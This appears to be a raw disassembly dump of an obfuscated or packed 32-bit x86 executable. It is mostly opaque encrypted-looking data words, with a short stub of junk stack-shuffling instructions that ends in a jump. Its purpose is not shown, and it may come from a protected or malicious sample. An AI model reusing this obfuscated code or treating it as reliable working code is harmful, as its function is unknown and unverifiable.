0EE04D300h, 9EA873F2h, 8A83EA6Dh, 0C757B43Eh, 8A4E5AE4h dd 850F4FF3h, 0FFFFFF6Dh, 10FE9F8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 9326F9C3h dd 8E212089h, 6BFAB58Dh, 6A0618h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 3A5480C3h, 0F9FB1998h dd 4483858Dh, 890F0616h, 1Ah, 14820Fh, 0FE90000h, 3A000000h dd 3A66391Eh, 0FC5D66A2h, 549F3790h, 0FFF87FFBh, 52B160D0h dd 0E860C361h, 6, 975AB879h, 830FAD82h, 0 dd 61D18B59h, 0FD98C66h, 885h, 8D0F6000h, 0 dd 4C1F661h, 39840Fh, 8BF50000h, 32CB8BFBh, 0FD75AEC0h dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h dd 8B09EB00h, 0B8E4EB00h, 0 dd 57006ACFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 810FF866h, 5, 0D7B70F60h, 2D85C761h, 3F06186Ch dd 0E8000101h, 0Eh, 53812969h, 57846075h, 99AAE817h, 816614F7h dd 593D4BD7h, 81D7B70Fh, 65B0C1h, 0C2B70F00h, 0EE8F62Bh dd 12000000h, 48FE304Ah, 0A13C71Ch, 0D36F01Fh, 0F08166EDh dd 8B5F00D8h, 0FE9311Ch, 53000000h, 0AEA27274h, 75F8B9A9h dd 89249F07h, 0EB81DA93h, 5259DB5Ch, 811AE080h, 0BE0CC1C3h dd 0F8BF0F3Eh, 0EC30F381h, 8B6609A7h, 0C78B53D3h, 0F31048Fh dd 8Ah, 81FB8B00h, 2FD0C1EEh, 0C18B6678h, 0D0BDC681h, 8B66782Fh dd 0E8FE81D7h, 0FFFFF9Ah, 0FFFFA285h, 0BFD080FFh, 60EBh dd 17h dup(0) dd 8BE90000h, 0E900000Bh, 0B7Fh, 18752568h, 13C6E906h dd 9E68FFFBh, 0E9061876h, 0FFFB13BCh, 18770168h, 13B2E906h dd 0E16DFFFBh, 0E3735575h, 0D3654B6Bh, 0E2715777h, 0DB6A506Eh dd 0C56A5979h, 9B3B19A8h, 8B2B27B5h, 983612A5h, 8D2D1FB2h dd 0F06A9BC4h, 0B916B621h, 6FBDFE60h, 49DEC4E3h, 0A52F6EFFh dd 0A6362446h, 9310EACh, 44C594B8h, 45075A7Ch, 0CB7DD2F4h dd 4A08587Ah, 78AD7FBh, 47C697B7h, 0A6331726h, 2CBB9FAEh dd 9F311524h, 26B89AABh, 0C61B1928h, 91C4E3C0h, 109DB535h dd 8559FFEh, 9DB50327h, 0DA82B453h, 446B1685h, 0C9DD3E23h dd 4E00520Eh, 748A52Fh, 85877CD6h, 0A1C0450Ah, 0C2902002h dd 4DFD4F73h, 93B7A42Ch, 86AC0B43h, 0AE285D35h, 770A8586h dd 96507716h, 0F0C3860Dh, 9797C50Fh, 0B9963553h, 0C50F4391h dd 8560D046h, 3D0C910Ah, 97C6C819h, 0A85613Bh, 0AB27616Ch dd 0ABB82226h, 8AAB0B6Ah, 0DFDE38ADh, 66A70A84h, 6CBD045Eh dd 735046E0h, 854FFF4Fh, 0C7BDA3DBh, 4767C16Bh, 0A641DE99h dd 4D41h, 0BDA31500h, 0E5BFE8C7h, 0B39537B4h, 0C229B33Dh dd 9DB53793h, 0F1477010h, 0C4513FBh, 0BC902185h, 7646CADh dd 0F63995C8h, 372109Dh, 109DF587h, 1F7ECD50h, 68C2E47Eh dd 45E16DBDh, 20C4E37Dh, 0E7000000h, 0B53995C8h, 8302109Dh dd 0BDA39F39h, 93C26BC7h, 109DB537h, 0C29BB726h, 0E16DBD68h dd 0A3E37D45h, 7AEBC8BEh, 168EA21Fh, 5606DFE8h, 83FD6FAh dd 29A9D869h, 800A8A86h, 85017453h, 4E0A8A85h, 0F25AEBCFh dd 709A2263h, 3AE3B1DBh, 0B04B5AADh, 0EF000001h, 0DA0BBFA3h dd 109DB580h, 0A0B40149h, 70117091h, 6CDC6F53h, 94067764h dd 4D109DB4h, 7D5A79C8h, 9DB38E08h, 0AE365710h, 933319ACh dd 0E66095B2h, 0AF109DB3h, 0BDFC666Eh, 0DFC3E06Ch, 6CF6FE4Eh dd 0BDA3F650h, 67C16BC7h, 0FD4BE0C2h, 3BA32D6Ch, 0A641DE6Dh dd 39D5h, 0BDA36900h, 93C26BC7h, 109DB537h, 92FA4A70h dd 2A93D175h, 7CCDAC29h, 0F716D31Dh, 0BD68C25Bh, 7D45E16Dh dd 51E0C2E3h, 0E0153203h, 109DB566h, 458FEE2Fh, 391Ah dd 0E0C2B800h, 2D6CFD4Bh, 335197A3h, 0C842B394h, 0FC109DB4h dd 3154E369h, 42133F8Dh, 0C25FF9C3h, 9DB53793h, 1E4F7010h dd 109DB4C4h, 49C0088Dh, 68C26EC8h, 45E16DBDh, 0BFA3E37Dh dd 78C8EAC9h, 0C20A8BDAh, 3B90B295h, 0D644C30Dh, 87109DB4h dd 2F183706h, 0D3020A06h, 109DBC77h, 26F6DD40h, 2628B067h dd 351AB993h, 79755E9Fh, 0E40925Fh, 0D977656Fh, 0FE4CE0C2h dd 0B4A62E6Fh, 500F2B21h, 0C7BDA3F6h, 0BEE4C16Bh, 81DBE56Fh dd 41DE9947h, 4641A6h, 0C2150000h, 0B8004EE0h, 620647Ch dd 1670E5C2h, 0DF109DB5h, 62936BEh, 0EB621D21h, 0F6D8A106h dd 0A0DFE963h, 109E7126h, 0C294AEEFh, 70E5C268h, 109DB516h dd 2436BEDFh, 7DA2BC92h, 43C4E3h, 0C3E70000h, 4C16DE76h dd 0E8C7BDA3h, 51E072C2h, 0C22EA830h, 9DB53793h, 0FE477010h dd 7FDB0A58h, 48109E2Dh, 3E05DEC5h, 190F7C1h, 0DDDC225h dd 0C1C1F316h, 9DBA9721h, 192824B5h, 0BD66F0F8h, 7D45E16Dh dd 0B4C4E3h, 0A36A0000h, 0C8EAC9BFh, 584D573h, 0FB6F9EBBh dd 0B4109DB4h, 5C33B08Bh, 0B0D1CB01h, 7A0C9DA1h, 60A4B678h dd 0BF1F7EB6h, 0E06CBD21h, 0A3F65046h, 0C16BC7BDh, 0DE994767h dd 4C41A641h, 15000000h, 0AF04BDA3h, 9683C899h, 449072F9h dd 3D8F3352h, 0C2D26C0Dh, 1F6EBDE5h, 19A3C292h, 9DB570EAh dd 7AD43910h, 6DBD68C2h, 0AE39621Bh, 0D4B51019h, 0C4E37D7Ah dd 3Eh, 3995C8E7h, 2109DB5h, 55B12483h, 1E109DB5h, 0A36BF5FFh dd 0C26BC7BDh, 9DB53793h, 18B72610h, 0B54CC637h, 2F80109Dh dd 62F11021h, 0C23F9923h, 330250E0h, 6DCD0AD2h, 45E16DBDh dd 6CBDE37Dh, 2D0BDF1Ah, 59385AAAh, 0D771C608h, 0CC80D1F7h dd 26900C7Dh, 9CD6109Eh, 6AE2731Fh, 79D3664Ch, 0B44DE2E8h dd 0B001B14Ah, 0CA1B3F9Ch, 273591C4h, 9FFE109Eh, 0A62E6FFEh dd 157178B8h, 21B199B6h, 0F3FD1C2Dh, 8F143994h, 24830216h dd 18A0AAFEh, 11DA38C9h, 0D5310A8Bh, 0B7783864h, 28E05AACh dd 76000000h, 0C3E06CBDh, 0F3FD4DDFh, 0B4890574h, 0EECB109Dh dd 0B5429CD1h, 0C40B109Dh, 39C4224Ch, 0F0F8999Eh, 0DC6D2596h dd 0BDF85270h, 7251E06Ch, 0F389FD50h, 14DC117Bh, 85C293F2h dd 9E00F650h, 3F5EBF10h, 266089B5h, 25765489h, 0C6471686h dd 3B97C6E9h, 40A8593h, 52E36DBEh, 4C8A5233h, 54F4476Bh dd 3C8405h, 193E9DE9h, 0A422C9E2h, 0C19E2676h, 763BD14Ch dd 0E4250A10h, 55B12484h, 1E047241h, 5DBD8FFh, 3E0E9F03h dd 9B0E39B6h, 1D4271ACh, 932F3398h, 51BE8DE9h, 72D02130h dd 0C9047283h, 3715A88Ah, 0B3DDE726h, 2426F616h, 2D8E5095h dd 0B4000000h, 0EAC9BFA3h, 9DB52F7Bh, 16B5D810h, 0A4E4A034h dd 47845C9Ah, 3C0D3D8Fh, 0FDDDBCDDh, 2FE2h, 0ABDAFD00h dd 109E7E2Fh, 914B95F8h, 0EAC9BFA3h, 9DB52B7Bh, 1AB9DC10h dd 9AABA938h, 3E64717Bh, 0F9359AEAh, 7C855AE3h, 4D9CBE1Dh dd 419FBD07h, 250E0C2h, 80F5D233h, 109DB506h, 5B864ECFh dd 15Eh, 53FD4E74h, 9F398302h, 0E6C5BBA3h, 0FCDB71C4h dd 9DB50D89h, 2DB7D610h, 0BDF650B3h, 0C146E06Ch, 0DE994767h dd 5541A641h, 15000000h, 69C5BBA3h, 93C2E5C2h, 109DB537h dd 0E372DA6Bh, 687095A2h, 9DB4BD19h, 46418610h, 8520D6E7h dd 0C1EC05AAh, 0BD041D24h, 68C282DCh, 83DF6BBDh, 1670E5C2h dd 4F109DB5h, 9DB4C41Eh, 3B088D10h, 0B584C417h, 69AB3554h dd 27C4B7h, 0C3E70000h, 450FD971h, 69C5BBA3h, 14FE0C2h dd 0CA07D130h, 9DB53F9Bh, 93AF2E10h, 6BBD68C2h, 607D83DFh dd 5963E57Ah, 0E06CBDFFh, 0A3F65046h, 7E1401BDh, 0CD9B0D04h dd 99F85CE9h, 0BEE4C1BDh, 7ED8E06Ah, 41DE9947h, 5D41A6h dd 0C2150000h, 6EFF4DE0h, 0E071D76Ch, 0BCF8C0A1h, 0C246E0A4h dd 9DB53793h, 9F477010h, 0CC156151h, 2362FFC9h, 0BAE5C207h dd 903266E6h, 12428FA5h, 0C2EF6973h, 6FFE4CE0h, 22B4A62Eh dd 0B4A3FF6Eh, 89D7109Dh, 5E557AC9h, 37FFB6AFh, 6FCBAACBh dd 32C4E37Dh, 0E7000000h, 8DDC74C3h, 0A31AC40Ch, 0C26BC7BDh dd 4C54BAE5h, 0D0D8FAC0h, 2D1D7908h, 8D0C109Eh, 4EE0C2B1h dd 0BC9BB800h, 38094396h, 0BD450FD9h, 7D45E16Dh, 0DE6ABDE3h dd 0B49FFE8Fh, 0BBD5109Dh, 93F943Eh, 6ABD0FA9h, 8AD901DEh dd 6B6FFEC6h, 19E170D8h, 0D3681AAFh, 4F785575h, 0AA2961D7h dd 59A830AAh, 109E6538h, 7ADC9DB7h, 7D84A341h, 57FFFFFEh dd 30B1170h, 6D770957h, 0B51270F3h, 101109Dh, 42109DB4h dd 0D0DA485Dh, 16DEE2E8h, 9DA31877h, 0DB6D5510h, 0A826656Fh dd 97109DA2h, 109DA337h, 9DA2A826h, 48BEE9D0h, 3B16BC42h dd 0A9C0FCC4h, 0E786C81Ah, 0AE1695C8h, 0E2235687h, 450DDC5h dd 5D0CD435h, 5F7C0A5Fh, 78214B2Eh, 0ACA1E450h, 0B9F8D999h dd 38DAF7B6h, 0E2000003h, 7EA40254h, 9E84222Ch, 4062400Ah dd 5F4161EFh, 0F12482D2h, 0D480CD3Eh, 0CE84D4F6h, 0D375CAF0h dd 0D07CCDF3h, 77E6E9F2h, 16B62A1Bh, 0C291ADE4h, 3793C2E5h dd 109DB5h, 0B572EC9Dh, 0DA3B109Dh, 0DF6DC012h, 4F37328Eh dd 0DA19FD70h, 93F21685h, 4742C033h, 7D640A85h, 0A28DAA09h dd 7E5D48BFh dd 5844C7Dh, 106D7CADh, 0EAD0EF2Eh, 0FC8A2F57h, 0BE3CF7Eh dd 10624D6Ah, 0AD100CEBh, 8FBC47F8h, 0ED20E528h, 0EFD8F5E3h dd 0F6E66532h, 0F6D8E076h, 0E8CAE963h, 2A6BFA58h, 5CB243A2h dd 6E046D1Bh, 93B41373h, 6D1AE862h, 646CB104h, 3F0C0677h dd 5D450A55h, 3690C5CFh, 0FFFE54ADh, 716EFF9Eh, 54ACA2FCh dd 4B2A6BFEh, 2A1E481h, 0AFBE8C20h, 5179666Eh, 183C8900h dd 9A9C849h, 80DA0B2Ch, 49FE54ADh, 87DAFCC4h, 313874C5h dd 0CE517655h, 43E93E9Eh, 8FFEDBE5h, 43C768Fh, 0F658EAD0h dd 4D1C81EEh, 9FCEFAEFh, 0F83BE543h, 0CBE8890Ch, 240A689Ah dd 1FBCE1FEh, 5A2AA3Bh, 7857B322h, 0FD20F223h, 0FDC78BD9h dd 0E468F9DFh, 71A62455h, 0C3E7F223h, 73EF1E74h, 3CF2235Eh dd 68A9B8D9h, 0B60D5460h, 0FD1C2D27h, 0CCCE3F9Ch, 0A5F80B83h dd 8ED3D160h, 9BAAA635h, 1B2A2AB7h, 0DDFA9BFAh, 0C987D8FAh dd 0F55180FFh, 382F1FBh, 7CB3454Eh, 0C29F4E5Bh, 1BFh, 67470F5Bh dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh, 0B62B0E88h dd 0A0C2D716h, 0EBC8BEA3h, 85DA987Ah, 1D2C7116h, 21F7193Eh dd 0FC74DE15h, 0E5A1C8F4h, 8F3E97C6h, 4B6F1076h, 820352FAh dd 0F568AD3Ah, 79F758A4h, 5C3712D9h, 0BE000001h, 0E2C8E670h dd 0FAE0FE50h, 0E4C6E466h, 0FBDDFD53h, 0D5C8E66Eh, 0B0A4315Ah dd 0B2A03012h, 0AF992E14h, 0B498290Fh, 0D3024D16h, 16B62C77h dd 0A375E940h, 99B505BEh, 66F7DBF8h, 0AE3657E6h, 3CB18EB1h dd 109DB4E2h, 23626AABh, 1685D927h, 2C0EADF0h, 0BC2BB59Bh dd 0A505479Ah, 2E859F88h, 3607499Ah, 6213F0D7h, 7ECF01CBh dd 28417FCEh, 0EFF16DA0h, 5BBA0A84h, 869E977h, 143487ABh dd 7BD70645h, 440A84F0h, 3B18A0C1h, 6D1574CAh, 7ECDF510h dd 0BF8EBE0Fh, 0EF2E3F5Eh, 2B0F308Eh, 65A4B59Dh, 65E9795Bh dd 0EE426845h, 0EE42945Ch, 7E617E5Ch, 6C82930Fh, 0AF395C04h dd 64420E9Dh, 7FCF5F43h, 0BBD66375h, 0F0112028h, 0E0153291h dd 46C8366h, 0F8E6EE2Fh, 4FCFF8D7h, 28E9C134h, 0AD32ACDDh dd 9AFB046Ch, 0A3B10052h, 0AD002203h, 0B503559Fh, 0C81B3D9Dh dd 61A6CBDh, 0EE9312D3h, 86075637h, 50E1C7E7h, 6CFCDEFCh dd 4EE1C9E6h, 0A22A6BFAh, 41B493B4h, 46C12C5h, 57FD4C8Eh dd 5792AE36h, 90AF902Fh, 6C13015Dh, 674BCA04h, 13727ADAh dd 0A5437DBh, 2628395Ch, 351AB993h, 0BBD9E743h, 2EBB1F09h dd 0EEF61726h, 0DD1F0h, 7B6D0000h, 920C815Eh, 5B109DB4h dd 0BD28B23Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp push 1A5Ah mov [esp], ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push eax push ebx mov ebx, 6186DB0h mov eax, ebx pop ebx mov ebp, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, 8 add ebx, edx mov [ebx], ebp mov ebx, [esp] add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 0A4h, 3Bh, 51h dd 1D594BA2h, 0E43EBAECh, 0B8B6EE40h, 6187882h, 0C38BC503h dd 79D08D8Dh, 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 518CD2C3h, 571B589h, 89580613h dd 1320A1BDh, 0BD8D8906h, 0BE06131Bh, 34027CCFh, 18DD85C7h dd 5DF40613h, 0B50B0000h, 61331B1h, 9816E081h, 85C7580Dh dd 6133055h, 0 dd 0AC36BA66h, 1A95B5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0AF9D83C3h, 15810F64h dd 0E9000000h, 10h, 4711A1h, 1319C043h, 41E8D414h, 9565247Bh dd 1D8995FFh, 0B70F0613h, 71B58BF8h, 6A061322h, 0A995FF00h dd 8B06130Dh, 0FE49EBC0h, 0C7707840h, 0C680FB67h, 0E4009226h dd 6B0A9712h, 8FE45B7Dh, 0EBC6CF1h, 858DA7E1h, 57BC6330h dd 4003671Fh, 91D65B17h, 213C4ED8h, 24D7A52h, 0B816666Dh dd 50D833D1h, 5FFE31EBh, 1F2BB3BCh, 0C48786EBh, 0CD53D9F7h dd 7AD08D8Dh, 0BF0F0618h, 0BD8D89FBh, 8B06131Bh, 130B759Dh dd 0DD85C706h, 7C061318h, 6A00006Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7298C355h dd 9D892EDEh, 6133531h, 0C1F4BE66h, 305585C7h, 613h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 38574FC3h, 3B5112A6h, 9B5FF0Ch, 53061323h, 68D0Fh, 0DE810000h dd 45DC8F83h, 8995FF58h, 6A06131Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 6A52C350h dd 0A995FF00h, 8B06130Dh, 0C53FEBC0h, 918EAE41h, 0AA145920h dd 4A90990Dh, 2EC8A736h, 463F1C20h, 81324A44h, 482D9F06h dd 88EF62E5h, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0F0268481h dd 0B00DCB17h, 7A9A75ADh, 51B940C5h, 3CE90310h, 1, 4Eh dup(0) dd 83000000h, 13212DBDh, 840F0106h, 4FDh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A1C35242h, 1D52426Bh dd 0BC7C4D7h, 0AE9A7h, 0BA840000h, 0E3296BE6h, 60F61735h dd 78C0FF8h, 0F000000h, 18Ch, 85C6F500h, 61311E1h, 8E943h dd 6090000h, 0ABD3957h, 4E8A519h, 0F5000000h, 0FECA5D0h dd 886h, 2830F00h, 60000000h, 8F0F5061h, 14h, 0FE9h, 14E7700h dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 424448Bh, 0FE25B960h dd 8B613BFFh, 11E900h, 296C0000h, 6487E6AEh, 0C927A49h dd 0CECC0538h, 89F2183Fh, 0F042444h, 0C81h, 7E900h, 0E4F90000h dd 0E735845h, 890F588Eh, 1, 0B5FFF8F5h, 6131EE9h, 11E9h dd 5B361600h, 0AF2057A7h, 0A938F041h, 3298DD53h, 8DF51EB7h dd 167C3385h, 1830F06h, 0F5000000h, 0E960D0FFh, 6, 0AF216343h dd 8B66CE38h, 858961DAh, 6131CD1h, 0B800Fh, 6E90000h, 0BC000000h dd 0C71121EDh, 0E185C64Eh, 50061311h, 188B0Fh, 0E9600000h dd 11h, 0C194E482h, 4E216038h, 83A18D8Bh, 0DF4D30Bh, 4F6861B3h dd 0E9804D9Ch, 6, 6B45F06h, 34813914h, 0E0311924h, 0AE928h dd 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 1EE9B5FFh, 850F0613h dd 1, 858DF8F8h, 6167C33h, 1F96B960h, 0E9616B77h, 14h dd 1E96B6AAh, 0F6C6507Dh, 29887941h, 1741ECB2h, 79849222h dd 0B160D0FFh, 89F86104h, 131D2585h, 0BF0F6006h, 0DF8166F2h dd 68612118h, 0D6B5DC42h, 13E9h, 0A1459F00h, 4647A7CBh dd 801D651Ch, 0C55A1688h, 688E87E0h, 6D243481h, 60263A74h dd 0EE8h, 357C3100h, 799C010Ah, 0C0999D9Dh, 0B3F7161Fh dd 10E95FD7h, 0E4000000h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh dd 613B745Ah, 1EE9B5FFh, 66600613h, 9F9FD081h, 61CA8B66h dd 7C33858Dh, 0E8600616h, 0Bh, 0A2CE597Ah, 1535A932h, 0F8BDFADDh dd 9E959h, 46E50000h, 3FBFADC2h, 619C66C3h, 7E9D0FFh, 9A000000h dd 271CA8B1h, 8589ED11h, 6132365h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 3FC35646h, 0FCF30017h, 0E185C6FCh dd 50061311h, 0BE860h, 6E6E0000h, 676FBE06h, 582490D3h dd 1998B838h, 8A583678h, 0E8F961F5h, 4, 979CDC56h, 14860Fh dd 0FE90000h, 0FE000000h, 443D2D32h, 8C4AE6BBh, 227D9062h dd 0E9500630h, 9, 60F13B84h, 63CAF960h, 24448B1Eh, 60525004h dd 880F6160h, 0 dd 60310F61h, 310F5250h, 0B966585Ah, 5A61F6FDh, 0E9008B58h dd 14h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h, 466BBC4h, 21109FD3h dd 4244489h, 7E860h, 26620000h, 0A9302B36h, 57605A9Bh dd 58616158h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 54C35343h, 0D47DBAC5h, 600F5E53h, 0A828BB66h, 0A27B58B8h dd 0E9606131h, 14h, 0AB889B72h, 0E44C6DE0h, 4B0B7BAEh dd 0CC039320h, 609ADBECh, 6DB5FF61h, 0F5061311h, 3AAD858Dh dd 0FFF80613h, 8E9D0h, 9D780000h, 0CC71D186h, 89FC9C1Ah dd 1305D585h, 10E906h, 0F3870000h, 0C54E937Dh, 4D4C64DCh dd 8B586D34h, 5EE9D627h, 0E9000001h, 6, 9D2AADCFh, 50FCEB30h dd 0EB8A5360h, 0BE95Ah, 1E1A0000h, 41EF1119h, 0FE796F30h dd 2C8961D7h, 1830F24h, 0F5000000h, 870FEC8Bh, 1Eh, 188C0Fh dd 13E90000h, 21000000h, 420FF65Ch, 81624F0Eh, 68F62FD6h dd 2FC8FEB0h, 0C4830368h, 0E960FCFCh, 0Ah, 0E5C691BCh dd 0C13481D0h, 0E86F58h, 5A000000h, 806DEA81h, 45C70618h dd 0FCh, 2DBA8300h, 1061321h, 98840Fh, 6A520000h, 0FF0F6A00h dd 131CD192h, 82895A06h, 6187B19h, 7B1D9A8Dh, 0C7520618h dd 12803h, 0FF505300h, 131D2592h, 8D525A06h, 187B1D9Ah dd 0B2FF5306h, 6187B19h, 5D592FFh, 0B5A0613h, 8D5074C0h dd 187B1D9Ah, 247B8D06h, 0F981C933h, 104h, 8141D474h, 452E393Ch dd 0EE754558h, 2B39348Dh, 0BA8D0C75h, 6133275h, 0F30C4D8Bh dd 0AAC032A4h, 875FF52h, 3275828Dh, 0FF500613h, 13236592h dd 0C00B5A06h, 45C7A075h, 1FCh, 0C707EB00h, 0FC45h, 8B610000h dd 0C2C9FC45h, 6A0008h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8A0F59C3h, 1, 0FE9F8h, 509D0000h dd 8DE23AA6h, 49403592h, 0E745DDEEh, 0E8D28B36h, 6, 7F933C80h dd 0F558526Ch, 60F4C081h, 0F18B0000h, 34FFC933h, 0F9BF0F01h dd 81F78B5Ah, 0CD268BC2h, 1870F15h, 0F8000000h, 718BF281h dd 14E80A96h, 16000000h, 0FFF222B7h, 0FB213702h, 0A5AE268Ah dd 37BD9460h, 5FC401A2h, 7288C281h, 0FB8B0B48h, 0BA666052h dd 8B666185h, 48F61F2h, 13E95308h, 0E7000000h, 7A322D39h dd 71B1352Dh, 0FEE127ACh, 9256EB8Fh, 835B6550h, 816601E9h dd 493C3EC6h, 8E94949h, 24000000h, 0CCB2C91Dh, 810F1B0Dh dd 0FF9FA4F9h, 77850FFFh, 0FCFFFFFFh, 10E8h, 0B6562700h dd 4181C7AAh, 8BB95A52h, 0A10AD5B6h, 5ECE8BA2h, 2840Fh dd 0F78A0000h, 5F07C681h, 0B8F90000h, 0 dd 128D0Fh, 0DE90000h, 34000000h, 8A0AD42Eh, 4E432BFh dd 73091629h, 56063C8Bh, 68B0Fh, 8C0F0000h, 0 dd 24EF815Bh, 6622875Dh, 0C781D78Bh, 46922D08h, 13E96057h dd 0E2000000h, 0EC583849h, 3295A127h, 9082A072h, 0B1B8765Dh dd 6160097Eh, 0F7815A61h, 30700A5Bh, 5B15BB57h, 48F73BEh dd 1CBA6606h, 22B9669Ah, 3E8833Bh, 485BF856h, 0A1B4F881h dd 850FFFFFh, 0FFFFFF98h, 10E8h, 25072B00h, 953A8B8Dh dd 35FEE7FDh, 39CF2DC4h, 5A62B685h, 1CBA11CCh, 289EBD66h dd 0F1DC61B8h, 5C87321h, 79B43742h, 0FF6572F8h, 822687D7h dd 30588770h, 0D2C8F3F0h, 1ECC07E0h, 27588A4Ah, 3F6431F7h dd 30656DF7h, 60655D39h, 30653474h, 0F33D174Eh, 1421BE7Fh dd 1421B697h, 306523CDh, 0F33577E4h, 33AEDE2Ah, 300F3739h dd 3066DFCDh, 6945374Eh, 7CEC6EE4h, 74E433B7h, 307833EDh dd 612437E4h, 78A734B1h, 0FB6ECC69h, 0B1AC91EDh, 0C57228A4h dd 0E1D23844h, 3060BF9Ch, 7CDA37C9h, 0B34B04BAh, 237792CFh dd 0B46A373Fh, 30653784h, 331ADEBBh, 3D8C3727h, 9D653793h dd 0EAB2B444h, 5C46B09Fh, 1B20FE04h, 0B283B2B4h, 0B0993184h dd 85F5FC8Fh, 0BF6A6721h, 30653798h, 30653120h, 9E699FE4h dd 0A05DB301h, 0D8323753h, 3065379Fh, 6FA6686Eh, 34414BAEh dd 34417312h, 306537D3h, 4DA660A3h, 6CDA233Eh, 0BA6A050Dh dd 30653796h, 3061B341h, 8E033727h, 0B5E8CCB1h, 367DB501h dd 0ACDA8EB5h, 0A03F6CFEh, 11E13869h, 6065379Ch, 3F04571Ch dd 3071DE16h, 0B0D83793h, 357C9DA1h, 5E74A177h, 0DDA56035h dd 0EE17AF24h, 683FE9B2h, 65655DDEh, 306534CFh, 0F3381793h dd 1409BE94h, 1421B6E0h, 30652276h, 0F3307239h, 8A03F4C3h dd 5637267Bh, 0A444E9A6h, 75F0C8CCh, 566324E9h, 0BB19725Dh dd 63655DB2h, 306534D1h, 0F33E179Ch, 1439BE15h, 1421B623h dd 30652C97h, 0F33674C9h, 647C8C19h, 3E869B3Fh, 8493B65Fh dd 15D8B470h, 30632458h, 8DE63E52h, 36761B12h, 607C43C9h dd 88A5BCB7h, 30653308h, 3D18B2B0h, 0ADE8318Fh, 36709E33h dd 683EE4D8h, 1CE48A10h, 446531DAh, 883667F3h, 30653308h dd 3D18B2B0h, 0ADE8318Fh, 36709122h, 683EE4D8h, 94A7B6F5h dd 33EF38BAh, 3F6537E4h, 0DAE4C0CDh, 73EB9646h, 153288FAh dd 0D6D0F7C5h, 0B2B5AAAAh, 876A318Bh, 0BEE0BA03h, 3F632F8Fh dd 306533FBh, 30DF5139h, 0D9B5C86Ch, 30653749h, 2933A712h dd 3BBB14CAh, 0B9E13809h, 566537E4h, 2B41D0F3h, 7FE8AAB4h dd 300F318Fh, 3066DF18h, 6E453727h, 44EC6950h, 74E433EDh dd 307833C0h, 66233772h, 0FBBDB3FAh, 0F9BC9A10h, 3FF508D8h dd 30653AACh, 306DDE93h, 6C0337C9h, 687700C9h, 33DD1C14h dd 5A653739h, 338D679Ch, 1065374Eh, 0B93DF47Fh, 0B16113D7h dd 2461138Dh, 706537E4h, 0CF81F422h, 67655DDAh, 30653474h dd 0F33A174Eh, 1419BE78h, 1421B697h, 30652CCDh, 0F33270E4h dd 0DEB290A9h, 9BA8555Ah, 0B2BDAA11h, 0C6E53156h, 0BEE0BA13h dd 56632FF8h, 0FE48F048h, 208CE71Bh, 0D8653772h, 611F79D7h dd 35C3B2CFh, 0E60C2B24h, 3BED23A0h, 1FE13853h, 0B06537C9h dd 0ADE87925h, 367678FFh, 0C2EE5159h, 3066BF93h, 876A374Eh dd 31DD56E4h, 0D9653793h, 306537C3h, 773FFF47h, 32675771h dd 0D39A9E65h, 0ADE8C917h, 367DB593h, 0D837374Dh, 30653790h dd 6AA66DE9h, 3441636Dh, 344173F3h, 30653725h, 0B4A665DEh dd 0B328021Fh, 28AED330h, 0BEE0BA6Bh, 0D8632FA2h, 306537E1h dd 0C6448F74h, 6AFA8603h, 300FE763h, 3066DF1Bh, 6D453727h dd 5CEC6A50h, 74E433EDh, 307C33C0h, 65203772h, 52CA9CFAh dd 3FD78FBDh, 306524C5h, 306BDE27h, 0F2303793h, 6779CF13h dd 372E379Bh, 1D448677h, 0F3EE5159h, 0CD272F23h, 0F06E562Fh dd 301EB328h, 0BB033793h, 0BDF8BA39h, 0D86324ABh, 3065377Ch dd 99BB30C7h, 327B42D5h, 26427C2Eh, 17DB4D68h, 6A0EC90Bh dd 30653471h, 63655DE4h, 3065349Ah, 0F33E1739h, 1439BEC7h dd 1421B64Ah, 30652A23h, 0F3367493h, 64EC48DFh, 74EE4059h dd 218DD18Bh, 6D653739h, 0ADEFF16h, 0C6D943EBh, 20A9F088h dd 0A453CEE7h, 699E80C6h, 5005D41Bh, 3065B87Dh, 8A033739h dd 5604E5F2h, 3F55E8CFh, 0DEDC7446h, 0BD6529D2h, 28E7F174h dd 39E8BAE2h, 88632FF5h, 0BA2E6B44h, 2BF0B2AFh, 0FF4E315Dh dd 0B2BDAA11h, 0C6E53156h, 0BEE0BA13h, 56632FF8h, 0FE48F048h dd 